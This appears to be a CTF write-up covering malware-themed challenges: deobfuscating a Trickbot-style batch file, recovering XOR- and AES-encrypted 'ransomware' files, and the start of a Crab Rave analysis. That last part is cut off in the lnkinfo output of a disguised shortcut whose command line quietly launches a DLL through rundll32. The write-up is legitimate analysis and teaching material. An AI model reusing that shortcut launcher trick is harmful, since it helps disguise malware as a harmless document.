Batchfuscation
Description
I was reading a report on past Trickbot malware, and I found this sample that looks a lot like their code! Can you make any sense of it?
Solution
We are given a batch file that looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@echo off
set bdevq=set
%bdevq% grfxdh=
%bdevq%%grfxdh%mbbzmk==
%bdevq%%grfxdh%xeegh%mbbzmk%/
%bdevq%%grfxdh%jeuudks%mbbzmk%a
%bdevq%%grfxdh%rbiky%mbbzmk%c
%bdevq%%grfxdh%wzirk%mbbzmk%m
%bdevq%%grfxdh%naikpbo%mbbzmk%d
%bdevq%%grfxdh%ltevposie%mbbzmk%e
%bdevq%%grfxdh%uqcqswo%mbbzmk%x
%bdevq%%grfxdh%zvipzis%mbbzmk%i
%bdevq%%grfxdh%kquqjy%mbbzmk%t
%bdevq%%grfxdh%kmgnxdhqb%mbbzmk%
%bdevq%%grfxdh%%xeegh%%jeuudks%%grfxdh%bpquuu%mbbzmk%4941956 %% 4941859
%rbiky%%wzirk%%naikpbo%%kmgnxdhqb%%xeegh%%rbiky%%kmgnxdhqb%%ltevposie%%uqcqswo%%zvipzis%%kquqjy%%kmgnxdhqb%%bpquuu%
%bdevq%%grfxdh%grtoy%mbbzmk%%=exitcodeAscii%
%bdevq%%grfxdh%%xeegh%%jeuudks%%grfxdh%fqumc%mbbzmk%9273642 %% 9273544
%rbiky%%wzirk%%naikpbo%%kmgnxdhqb%%xeegh%%rbiky%%kmgnxdhqb%%ltevposie%%uqcqswo%%zvipzis%%kquqjy%%kmgnxdhqb%%fqumc%
%bdevq%%grfxdh%kbhoesxh%mbbzmk%%=exitcodeAscii%
--- snip ---
%xpjaysvii%%xpjaysvii%%kmgnxdhqb%%qihgjzq%%ltevposie%%kquqjy%%kmgnxdhqb%%xulqq%%xulqq%%djkxbuskp%%vdqvoyxss%%znvbyce%%naikpbo%%lhuzd%%jxiczrrc%%rbiky%%kbhoesxh%%ltevposie%%cxqemy%%giknplvpv%%jxiczrrc%%rvrcd%%uqcqswo%%ltevposie%%vdqvoyxss%%lhuzd%%kquqjy%%fbvra%%exoypdqzg%%cxqemy%%upogfi%%jeuudks%%uqcqswo%%dtqahrd%%dtqahrd%%fbvra%%jxiczrrc%%naikpbo%%exoypdqzg%%upogfi%%wzirk%%wzirk%%wzirk%%djkxbuskp%%kbhoesxh%%giknplvpv%%znvbyce%%qihgjzq%%vdqvoyxss%%wzirk%%wzirk%%kquqjy%%uqcqswo%%cxqemy%%zvipzis%%giknplvpv%%uqcqswo%%kbhoesxh%%zvipzis%%fbvra%%edefpb%%jxiczrrc%%naikpbo%%kquqjy%%vdqvoyxss%%vrzatob%%jeuudks%%rbiky%%naikpbo%%znvbyce%%rbiky%%exoypdqzg%%uqcqswo%%mljmage%%djkxbuskp%%vdqvoyxss%%puufauef%%jxiczrrc%%vdqvoyxss%%dtqahrd%%edefpb%%edefpb%%lhuzd%%rbiky%%djkxbuskp%%rbiky%%zvipzis%%cxqemy%%kbhoesxh%%fbvra%%dtqahrd%%jxiczrrc%%kbhoesxh%%djkxbuskp%%kbhoesxh%%kbhoesxh%%jxiczrrc%
%jxiczrrc%%ltevposie%%wzirk%%kmgnxdhqb%%qihgjzq%%ltevposie%%kquqjy%%kmgnxdhqb%%zvipzis%%lhuzd%%dtqahrd%%giknplvpv%%mljmage%%kbhoesxh%%jeuudks%%ltevposie%%djkxbuskp%%lhuzd%%wzirk%%xulqq%%jxiczrrc%%vrzatob%%zvipzis%%puufauef%%wzirk%%znvbyce%%lhuzd%%rvrcd%
The file is pretty big (7,8M) with 11209 lines.
The first part is based on variable substitution:
1
2
3
set bdevq=set
%bdevq% grfxdh=
%bdevq%%grfxdh%mbbzmk==
Here the code declares the variable %bdevq%
ast set
.
So the second line corresponds to set grfxdh=
(fixing grfxdh
to the space character).
The last line deobfuscates to set mbbzmk==
which assigns the character =
to the variable mbbzmk
and so on.
This is the easiest part, but after the code does some calculus to get int values, run exit
with that value to define an exit code and finally pops that value inside a variable:
1
2
3
set /a bpquuu=4941956 %% 4941859
cmd /c exit %bpquuu%
set grtoy=%=exitcodeAscii%
Here 4941956 % 4941859
is equal to 97 so %bpquuu%
equals 97.
exit
is called with that value which sets the last return code (like the $?
variable of bash).
The special variable %=exitcodeAscii%
is then used to pop that value and convert it to is character representation (a
).
Replacing those values manually would be a pain in the a** so let’s write a script to deobfuscate everything:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import re
SUB_RE = re.compile(r"%(\w+)%")
SET_RE = re.compile(r"set (\w+)=")
DIV_RE = re.compile(r"(\d+) %% (\d+)")
with open("batchfuscation.bat") as fd:
variables = {}
current_char = '?'
for line in fd:
line = line.strip()
search = SUB_RE.search(line)
if search:
for var in variables:
line = line.replace(f"%{var}%", variables[var])
if search := SET_RE.search(line):
var_name = search.group(1)
value = line.split("=", 1)[1] or " "
if value == "%=exitcodeAscii%":
variables[var_name] = current_char
else:
variables[var_name] = value
else:
if line.startswith("set /a "):
int1, int2 = DIV_RE.search(line).groups()
try:
current_char = chr(int(int1) % int(int2))
except TypeError:
print(line)
exit()
print(line)
In the output we can spot some lines that looks like this:
1
2
3
:: set flag_character34=d
:: set flag_character20=3
:: set flag_character2=l
Unfortunately they don’t appear in the good order, so we will have to sort the output.
Then we have to remove the useless prefix and join each character to get the flag.
The final execution:
1
2
$ python3 deobfuscate.py | grep flag_character | sort -V | cut -d'=' -f2 | tr -d '\n'
flag{acad67e3d0b5bf31ac6639360db9d19a}
BlackCat
Description
We’ve been hit by the infamous BlackCat Ransomware Group! We need you to help restore the encrypted files. Please help! My favorite rock got encrypted and I’m a wreck right now!
Solution
The challenge is tagged as Malware
but it is more about basic crypto analysis.
You get an archive with some encrypted files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ 7z l blackcat.7z
7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=fr_FR.UTF-8 Threads:4 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 2833645 bytes (2768 KiB)
Listing archive: blackcat.7z
--
Path = blackcat.7z
Type = 7z
Physical Size = 2833645
Headers Size = 477
Method = LZMA2:6m BCJ 7zAES
Solid = +
Blocks = 2
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-09-26 14:10:56 D...A 0 0 victim-files
2023-09-26 14:10:56 ....A 1190420 1371632 NOTE.png
2023-09-26 14:10:56 ....A 109857 victim-files/Bliss_Windows_XP.png.encry
2023-09-26 14:10:56 ....A 74 victim-files/flag.txt.encry
2023-09-26 14:10:56 ....A 8457 victim-files/Huntress-Labs-Logo-and-Text-Black.png.encry
2023-09-26 14:10:56 ....A 13959 victim-files/my-favorite-rock.jpg.encry
2023-09-26 14:10:56 ....A 191725 victim-files/the-entire-text-of-hamlet.txt.encry
2023-09-26 14:10:56 ....A 2814464 1461536 DecryptMyFiles.exe
------------------- ----- ------------ ------------ ------------------------
2023-09-26 14:10:56 4328956 2833168 7 files, 1 folders
Under victim-files
are files that were encrypted.
The DecryptMyFiles.exe
binary is a 64bits Windows executable:
1
DecryptMyFiles.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, 13 sections
Launching strings
on it reveals it was certainly written in Go:
1
2
3
4
5
6
7
8
9
10
11
--- snip ---
golang.org/x/sys/windows.procRtlNtStatusToDosErrorNoTeb
golang.org/x/sys/windows.procCLSIDFromString
golang.org/x/sys/windows.procCoCreateGuid
golang.org/x/sys/windows.procCoGetObject
golang.org/x/sys/windows.procCoInitializeEx
golang.org/x/sys/windows.procCoTaskMemFree
golang.org/x/sys/windows.procCoUninitialize
golang.org/x/sys/windows.procStringFromGUID2
golang.org/x/sys/windows.procEnumProcessModules
--- snip ---
The headers for the two encrypted PNG files are the same:
1
2
3
4
5
6
$ hexdump -C -n 16 Huntress-Labs-Logo-and-Text-Black.png.encry
00000000 ea 3f 3d 2a 62 68 75 63 63 6f 73 60 26 2a 2b 3b |.?=*bhuccos`&*+;|
00000010
$ hexdump -C -n 16 Bliss_Windows_XP.png.encry
00000000 ea 3f 3d 2a 62 68 75 63 63 6f 73 60 26 2a 2b 3b |.?=*bhuccos`&*+;|
00000010
Let’s compare with the header of the non-encrypted image:
1
2
3
$ hexdump -C -n 16 NOTE.png
00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|
00000010
Let’s do a simple XOR between the 16 first bytes of a clear PNG file and those of an encrypted PNG file.
1
2
3
4
5
>>> C = open("victim-files/Bliss_Windows_XP.png.encry", "rb").read(16)
>>> M = open("NOTE.png", "rb").read(16)
>>> key = "".join([chr(x ^ y) for x, y in zip(C, M)])
>>> key
'cosmoboicosmoboi'
So the key length is 8 and the key is cosmoboy
.
We could also use xor-analyze (which already helped me several times) as follow :
We know that one of the encrypted files is Hamlet in txt format.
First let’s find a clear version of Hamlet (not necessarily exactly the same):
1
2
3
4
5
6
7
8
9
10
11
$ wget https://www.gutenberg.org/files/1524/1524-0.txt -O hamlet.txt
--2023-10-26 15:24:38-- https://www.gutenberg.org/files/1524/1524-0.txt
Résolution de www.gutenberg.org (www.gutenberg.org)… 2610:28:3090:3000:0:bad:cafe:47, 152.19.134.47
Connexion à www.gutenberg.org (www.gutenberg.org)|2610:28:3090:3000:0:bad:cafe:47|:443… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 206755 (202K) [text/plain]
Sauvegarde en : « hamlet.txt »
hamlet.txt 100%[====================================================================================================================>] 201,91K 722KB/s ds 0,3s
2023-10-26 15:24:38 (722 KB/s) — « hamlet.txt » sauvegardé [206755/206755]
Then we have to use the freq
utility. You should be prepared before using the tool because the source code is encrypted, and you have to crack it first :)
Once done, the program needs a filepath on its input. It will read the file and output a .freq
file :
1
2
3
$ echo hamlet.txt | ./tests/freq > hamlet.freq
$ ls -al hamlet.freq
-rw-r--r-- 1 nico nico 3843 26 oct. 15:24 hamlet.freq
Now we can analyze the encrypted text using our fresh .freq
file (you should keep it for every analysis of encrypted english text) :
1
2
3
4
5
6
7
$ ./xor-analyze victim-files/the-entire-text-of-hamlet.txt.encry hamlet.freq
xor-analyze version 0.4 by Thomas Habets <thomas@habets.pp.se>
Counting coincidences... 20 / 20
Key length is probably 8 (or a factor of it)
Finding key based on byte frequency... 8 / 8
Checking redundancy... 100.00 %
Probable key: "cosmoboi"
With the key you can now decrypt the flag:
1
2
3
4
5
$ ./xor-enc cosmoboi flag.txt.encry flag.txt
$ cat flag.txt
Keeping my flag here so it's safe!
flag{092744b55420033c5eb9d609eac5e823}
Bonus: Analysing the binary
Analysing the DecryptMyFiles.exe
is difficult because the name of the functions displayed in Cutter
aren’t meaningful.
Some reverse-engineering tools find out the name of Golang functions in the disassembled code, but I did not find such plugins for Cutter
.
However, I found GoReSym which is interesting.
GoReSym is a Go symbol parser that extracts program metadata (such as CPU architecture, OS, endianness, compiler version, etc), function metadata (start & end addresses, names, sources), filename and line number metadata, and embedded structures and types. This cross platform program is based directly on the open source Go compiler and runtime code.
You launch it on the binary:
1
$ ./GoReSym_lin -t -d -p DecryptMyFiles.exe > dump.txt
And you get a JSON file with addresses and symbols:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
--- snip ---
{
"Start": 5021984,
"End": 5024448,
"PackageName": "main",
"FullName": "main.main"
},
{
"Start": 5024448,
"End": 5024544,
"PackageName": "main",
"FullName": "main.main.func3"
},
{
"Start": 5024544,
"End": 5024640,
"PackageName": "main",
"FullName": "main.main.func2"
},
{
"Start": 5024640,
"End": 5025145,
"PackageName": "main",
"FullName": "main.main.func1"
}
--- snip ---
You must manually rename functions in Cutter
, but it makes things a lot more clear. Also, it tells me where is the main
entry point.
After some time I was able to determine that the program does a fmt.Scanln
to read the encryption key which must be of 8 characters otherwise the program exits.
It then uses path.filepath.Walk, read each file, open another file with filename + .decry
and write the original content XORed with the 8 bytes of the read key.
So the binary is just a way to decrypt the files once you spotted the key, but it doesn’t seem to contain the key in any way.
I started writing a Cutter
plugin to use GoReSym
, stay tuned for the release.
BlackCat II
Description
Be advised analyst: BlackCat is back! And they’re mad. Very mad. Help our poor user recover the images that they downloaded while browsing their favorite art site. Quickly!
Solution
Just like the former version, we have some encrypted files along with a Windows binary to decrypt them:
1
2
3
4
5
6
7
8
9
10
11
12
13
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-10-05 16:57:05 D.... 0 0 challenge
2023-10-05 21:44:28 D.... 0 0 challenge/victim-files
2023-10-05 16:57:15 ....A 75488 261696 challenge/victim-files/A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg.encry
2023-10-05 16:57:16 ....A 84640 challenge/victim-files/Cafe_Terrace_at_Night_by_Vincent_van_Gogh_large.jpg.encry
2023-10-05 16:57:16 ....A 96 challenge/victim-files/flag.txt.encry
2023-10-05 16:57:16 ....A 29696 challenge/victim-files/Guernica_by_Pablo_Picasso_large.jpg.encry
2023-10-05 16:57:16 ....A 59312 challenge/victim-files/Impression_Sunrise_by_Claude_Monet_large.jpg.encry
2023-10-05 16:57:17 ....A 12432 challenge/victim-files/Wanderer_above_the_Sea_of_Fog_by_Caspar_David_Friedrich_large.jpg.encry
2023-10-05 16:48:57 ....A 115200 103584 challenge/Decryptor.exe
------------------- ----- ------------ ------------ ------------------------
2023-10-05 21:44:28 376864 365280 7 files, 2 folders
The difference here is that the encrypted jpg files doesn’t share the same header:
1
2
3
4
5
6
7
8
9
10
11
$ find . -name "*.jpg.encry" -exec hexdump -C -n 16 {} \;
00000000 4f b4 ef df 95 80 f8 d0 1e e0 72 38 4e b5 7d 91 |O.........r8N.}.|
00000010
00000000 ef 59 88 4c 55 fd 39 3d 91 b8 2f 32 77 95 b5 12 |.Y.LU.9=../2w...|
00000010
00000000 6d 5e 58 2a 87 2b 51 43 ce 5e 0c e4 de 2b 58 25 |m^X*.+QC.^...+X%|
00000010
00000000 0c 1a a8 9b ca 72 ab 51 d3 bb 97 c9 b1 dc fa f7 |.....r.Q........|
00000010
00000000 4f b4 ef df d5 9c 4a a4 de 6b 7f a6 28 cd 5b d3 |O.....J..k..(.[.|
00000010
Two files seem to share the first 4 bytes but that’s it. It can’t be a XOR encrypted or at least it means that a different key is used for each file.
Let’s open dotPeek
which is a free .NET Decompiler and Assembly Browser from JetBrains. Note that I also discovered AvaloniaILSpy which is available for Linux, but I didn’t test it yet.
The Decryptor.exe
binary works thanks to a GUI that ask for a directory (victim-files
) and a password. There is an event when you click on a button:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void button1_Click(object sender, EventArgs e)
{
try
{
string directoryPath = this.fullPathToVictimFiles.Text.ToString().Trim();
string lower = this.keyInputTextBox.Text.ToString().Trim().ToLower();
if (lower == "")
{
int num1 = (int) MessageBox.Show("No key provided!");
}
else if (lower.Length < 64)
{
int num2 = (int) MessageBox.Show("Key must be 64 chars");
}
else
{
int num3 = (int) MessageBox.Show("Running decryption routine...");
DecryptorUtil.DecryptFiles(directoryPath, lower);
int num4 = (int) MessageBox.Show("Files decrypted!");
}
}
catch (Exception ex)
{
int num = (int) MessageBox.Show("Error: " + ex.Message);
}
}
But all the decryption logic is here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace Decryptor
{
internal class DecryptorUtil
{
private static byte[] hardcodedIV = new byte[16]
{
(byte) 1,
(byte) 35,
(byte) 69,
(byte) 103,
(byte) 137,
(byte) 171,
(byte) 205,
(byte) 239,
(byte) 254,
(byte) 220,
(byte) 186,
(byte) 152,
(byte) 118,
(byte) 84,
(byte) 50,
(byte) 16
};
public static void DecryptFiles(string directoryPath, string decryptionKey)
{
string[] files = Directory.GetFiles(directoryPath, "*.encry");
if (files.Length == 0)
return;
string filePath = (string) null;
foreach (string str in files)
{
string key = filePath != null ? DecryptorUtil.CalculateSHA256Hash(filePath) : decryptionKey;
string outputFile = Path.Combine(directoryPath, Path.GetFileNameWithoutExtension(str) + ".decry");
DecryptorUtil.AESDecryptFile(str, outputFile, key, DecryptorUtil.hardcodedIV);
filePath = outputFile;
}
Console.WriteLine("[*] Decryption completed.");
}
private static string CalculateSHA256Hash(string filePath)
{
using (SHA256 shA256 = SHA256.Create())
{
using (FileStream inputStream = File.OpenRead(filePath))
return BitConverter.ToString(shA256.ComputeHash((Stream) inputStream)).Replace("-", "").ToLower();
}
}
private static byte[] GenerateAesKeyFromPassword(string password)
{
byte[] bytes1 = Encoding.UTF8.GetBytes("KnownSaltValue");
using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, bytes1, 10000, HashAlgorithmName.SHA256))
{
byte[] bytes2 = rfc2898DeriveBytes.GetBytes(32);
return bytes2.Length == 32 ? bytes2 : throw new InvalidOperationException("Derived key size is not valid for AES encryption.");
}
}
private static void AESDecryptFile(string inputFile, string outputFile, string key, byte[] iv)
{
try
{
using (Aes aes = Aes.Create())
{
byte[] aesKeyFromPassword = DecryptorUtil.GenerateAesKeyFromPassword(key);
aes.Key = aesKeyFromPassword;
aes.IV = iv;
aes.Mode = CipherMode.CFB;
aes.Padding = PaddingMode.Zeros;
using (FileStream fileStream1 = new FileStream(inputFile, FileMode.Open))
{
using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create))
{
using (ICryptoTransform decryptor = aes.CreateDecryptor())
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) fileStream2, decryptor, CryptoStreamMode.Write))
{
byte[] buffer = new byte[4096];
int count;
while ((count = fileStream1.Read(buffer, 0, buffer.Length)) > 0)
cryptoStream.Write(buffer, 0, count);
}
}
}
}
}
}
catch (Exception ex)
{
Console.WriteLine("Decryption error: " + ex.Message);
}
}
}
}
A small note about the CalculateSHA256Hash
method : it seems that dotnet is returning hashes as groups of 2 hex characters separated by dashes.
It is strange, but it explains why dashes are removed in the method.
The pure decryption with AES256, IV, etc, seems strong but then the way it handles successive files is strange :
1
2
3
4
5
6
7
8
9
string filePath = (string) null;
foreach (string str in files)
{
string key = filePath != null ? DecryptorUtil.CalculateSHA256Hash(filePath) : decryptionKey;
string outputFile = Path.Combine(directoryPath, Path.GetFileNameWithoutExtension(str) + ".decry");
DecryptorUtil.AESDecryptFile(str, outputFile, key, DecryptorUtil.hardcodedIV);
filePath = outputFile;
}
Console.WriteLine("[*] Decryption completed.");
So the first file found in the directory will be encrypted using the chosen encryption key while other files will use the SHA256 hash of the previously decrypted file…
This is problematic because from the DotNet documentation :
The order of the returned file names is not guaranteed; use the Sort method if a specific sort order is required.
As the encryption seems strong and the key can’t be shorter than 64 characters, our only solution seems to find cleartext versions of the encrypted files whose hashes should allow us to decrypt the flag.
Searching file names on the Internet seems easy, but I did not immediately use Google Image Search neither I put the file names between double quotes. Because of that I lost some time stupidly.
At some point though, I noticed that all files come from the following article 100 Most Famous Paintings In The World.
The file name of each picture matched BUT when downloading with cURL
or Wget
you obtained files bigger than the encrypted versions :
1
2
-rw-r--r-- 1 nico users 79466 30 oct. 20:42 A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg
-rw-r--r-- 1 nico users 75488 5 oct. 17:57 challenge/victim-files/A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg.encry
If you download the files from the browser, it is quite different :
1
-rw-r--r-- 1 nico users 75488 30 oct. 21:16 A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.webp
Yippee-Ki-Yay ! I’m pretty sure a lot of players lost their hair on that issue.
The mime types doesn’t even match with the extension of encrypted files :
1
2
JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], progressive, precision 8, 480x360, components 3
RIFF (little-endian) data, Web/P image
It looks like the encrypted files, despite their suffix, are in fact WebP images.
With a little help from ChatGPT I took the original code and added an entry point :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public class Program
{
private static byte[] hardcodedIV = new byte[16]
{
(byte) 1,
(byte) 35,
(byte) 69,
(byte) 103,
(byte) 137,
(byte) 171,
(byte) 205,
(byte) 239,
(byte) 254,
(byte) 220,
(byte) 186,
(byte) 152,
(byte) 118,
(byte) 84,
(byte) 50,
(byte) 16
};
private static string CalculateSHA256Hash(string filePath)
{
using (SHA256 shA256 = SHA256.Create())
{
using (FileStream inputStream = File.OpenRead(filePath))
return BitConverter.ToString(shA256.ComputeHash((Stream) inputStream)).Replace("-", "").ToLower();
}
}
private static byte[] GenerateAesKeyFromPassword(string password)
{
byte[] bytes1 = Encoding.UTF8.GetBytes("KnownSaltValue");
using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, bytes1, 10000, HashAlgorithmName.SHA256))
{
byte[] bytes2 = rfc2898DeriveBytes.GetBytes(32);
return bytes2.Length == 32 ? bytes2 : throw new InvalidOperationException("Derived key size is not valid for AES encryption.");
}
}
private static void AESDecryptFile(string inputFile, string outputFile, string key, byte[] iv)
{
try
{
using (Aes aes = Aes.Create())
{
byte[] aesKeyFromPassword = GenerateAesKeyFromPassword(key);
aes.Key = aesKeyFromPassword;
aes.IV = iv;
aes.Mode = CipherMode.CFB;
aes.Padding = PaddingMode.Zeros;
using (FileStream fileStream1 = new FileStream(inputFile, FileMode.Open))
{
using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create))
{
using (ICryptoTransform decryptor = aes.CreateDecryptor())
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) fileStream2, decryptor, CryptoStreamMode.Write))
{
byte[] buffer = new byte[4096];
int count;
while ((count = fileStream1.Read(buffer, 0, buffer.Length)) > 0)
cryptoStream.Write(buffer, 0, count);
}
}
}
}
}
}
catch (Exception ex)
{
Console.WriteLine("Decryption error: " + ex.Message);
}
}
public static void Main(string[] args)
{
if (args.Length < 3)
{
Console.WriteLine("Usage: Program <inputFile> <outputFile> password");
return;
}
// Get the input file path from the first command-line argument
string inputFile = args[0];
// Get the output file path by adding the ".clear" suffix to the input file name
string outputFile = args[1];
// Get the password from the command-line arguments
string password = args[2];
// Call AESDecryptFile with the input and output file paths, AES key, and hardcoded IV
AESDecryptFile(inputFile, outputFile, password, hardcodedIV);
Console.WriteLine("Decryption complete.");
}
}
The program needs 3 arguments:
- the encrypted filename
- the output file (decrypted)
- the encryption key (sha256 hash of another file)
Thanks to Mono it is possible to compile from Linux :
1
mcs decryptor.cs
I manually was able to decrypt 4 images, but then I could not decrypt the Guernica file (and was never able), nor I could get the flag (in fact it was due to a bad assumption).
I thought that maybe I didn’t try a hash at some point, so I made a Python script to call my binary, applying each found hash on each file :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
from hashlib import sha256
from subprocess import check_output
hashes = set()
for file in os.listdir("original"):
hash_ = sha256(open(f"original/{file}", "rb").read()).hexdigest().lower()
hashes.add(hash_)
todo = list(hashes)
done = []
while True:
try:
hash_ = todo.pop()
except:
break
else:
done.append(hash_)
for file in os.listdir("victim-files"):
os.system(f"wine test.exe 'victim-files/{file}' /tmp/out {hash_} >/dev/null 2>&1")
file_type = check_output(["file", "/tmp/out"]).decode().split(":", 1)[1].strip()
buff = open(f"/tmp/out", "rb").read()
if b"flag{" in buff:
print(f"{file} {file_type} {hash_}")
print(buff)
elif file_type != "data":
print(f"{file} {file_type} {hash_}")
new_hash = sha256(buff).hexdigest().lower()
if new_hash not in done and new_hash not in todo:
todo.append(new_hash)
By searching for flag{
inside decrypted files in worked:
1
2
3
4
5
6
A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg.encry RIFF (little-endian) data, Web/P image 80d60bddb3b57a28d7c7259103a514cc05507c7b9cf0c42d709bdc93ffc69191
Cafe_Terrace_at_Night_by_Vincent_van_Gogh_large.jpg.encry RIFF (little-endian) data, Web/P image 80d60bddb3b57a28d7c7259103a514cc05507c7b9cf0c42d709bdc93ffc69191
Wanderer_above_the_Sea_of_Fog_by_Caspar_David_Friedrich_large.jpg.encry RIFF (little-endian) data, Web/P image 77f81d986319288d5b517c5ad70ad5986b216cd4aa9d60c04dc85f1d322e0821
flag.txt.encry data 2708d374d92c8691a333fa0e8638c3588de35e91a7628621a6f114301c4fdbbd
b'\xef\xbb\xbfKeeping another flag here for safe keeping again! \r\n\r\nflag{03365961aa6aca589b59c683eecc9659}\x00'
Impression_Sunrise_by_Claude_Monet_large.jpg.encry RIFF (little-endian) data, Web/P image 4a2922dab735eb8fa40f5e56aa04d97407549a891ced50828d6fe7740a842dbf
My bad assumption was that the flag would be a plaintext file and I was previously only checking for mime types, that’s why I missed it first.
Crab Rave
Description
My biologist friend told me that everything eventually evolves into a crab-like form. I don’t know if that’s true but I guess malware authors got a head start on that evolution. To save you some time, I went ahead and found you the 10 hour extended version of Crab Rave on YouTube (https://www.youtube.com/watch?v=-50NdPawLVY). You’ll need it.
So, here’s the deal. This one is tough, so we’re giving you a “Choose Your Own Adventure” challenge. Are you super confident with reverse engineering? Try crab_rave_harder.7z. Not so confident with RE? We gave you crab_rave_easier.7z.
Both have the same flag. Both do the same thing. If you solve one, you solve both. No matter which one you go with, it will be challenging. You got this.
Solution
This one was certainly the hardest of the CTF : you get a Windows x64 DLL. Symbols are still present but there are a lot of functions and there are no solutions to decompile the code.
Note that two versions of the challenge are offered. I solved the easiest one and it was still tough.
The executable comes with a LNK file that doesn’t provide much information:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
$ lnkinfo crab_rave_easier/company_financial_report_SAFE_NO_VIRUSES.csv.lnk
lnkinfo 20181227
Windows Shortcut information:
Contains a link target identifier
Contains a relative path string
Contains a command line arguments string
Contains an icon location string
Contains an icon location block
Link information:
Creation time : Jan 15, 2021 00:55:23.286643000 UTC
Modification time : Jan 15, 2021 00:55:23.291147300 UTC
Access time : Oct 10, 2023 10:22:28.019777300 UTC
File size : 289792 bytes
Icon index : 101
Show Window value : 0x00046c00
Hot Key value : 27648
File attribute flags : 0x00000020
Should be archived (FILE_ATTRIBUTE_ARCHIVE)
Drive type : Fixed (3)
Drive serial number : 0x0c07af0b
Volume label :
Local path : C:\Windows\System32\cmd.exe
Relative path : ..\..\..\..\..\Windows\System32\cmd.exe
Command line arguments : /c ping -n 1 127.0.0.1 > nul && ping -n 1 127.0.0.1 > nul && ping -n 1 127.0.0.1 > nul && ping -n 1 127.0.0.1 > nul && ping -n 1 127.0.0.1 > nul && C:\Windows\System32\rundll32.exe ntcheckos.dll,DLLMain
Icon location : %SystemRoot%\System32\imageres.dll
Link target identifier:
Shell item list
Number of items : 5
Shell item: 1
Item type : Root folder
Class type indicator : 0x1f (Root folder)
Shell folder identifier : 20d04fe0-3aea-1069-a2d8-08002b30309d
Shell folder name : My Computer
Shell item: 2
Item type : Volume
Class type indicator : 0x2f (Volume)
Volume name : C:\
Shell item: 3
Item type : File entry
Class type indicator : 0x31 (File entry: Directory)
Name : Windows
Modification time : Oct 06, 2023 10:26:38
File attribute flags : 0x00000010
Is directory (FILE_ATTRIBUTE_DIRECTORY)
Extension block: 1
Signature : 0xbeef0004 (File entry extension)
Long name : Windows
Creation time : Dec 07, 2019 09:03:46
Access time : Oct 10, 2023 10:05:12
NTFS file reference : MFT entry: 1526, sequence: 1
Shell item: 4
Item type : File entry
Class type indicator : 0x31 (File entry: Directory)
Name : System32
Modification time : Oct 06, 2023 10:33:34
File attribute flags : 0x00000010
Is directory (FILE_ATTRIBUTE_DIRECTORY)
Extension block: 1
Signature : 0xbeef0004 (File entry extension)
Long name : System32
Creation time : Dec 07, 2019 09:03:46
Access time : Oct 10, 2023 10:01:02
NTFS file reference : MFT entry: 3248, sequence: 1
Shell item: 5
Item type : File entry
Class type indicator : 0x32 (File entry: File)
Name : cmd.exe
Modification time : Jan 15, 2021 00:55:24
File attribute flags : 0x00000020
Should be archived (FILE_ATTRIBUTE_ARCHIVE)
Extension block: 1
Signature : 0xbeef0004 (File entry extension)
Long name : cmd.exe
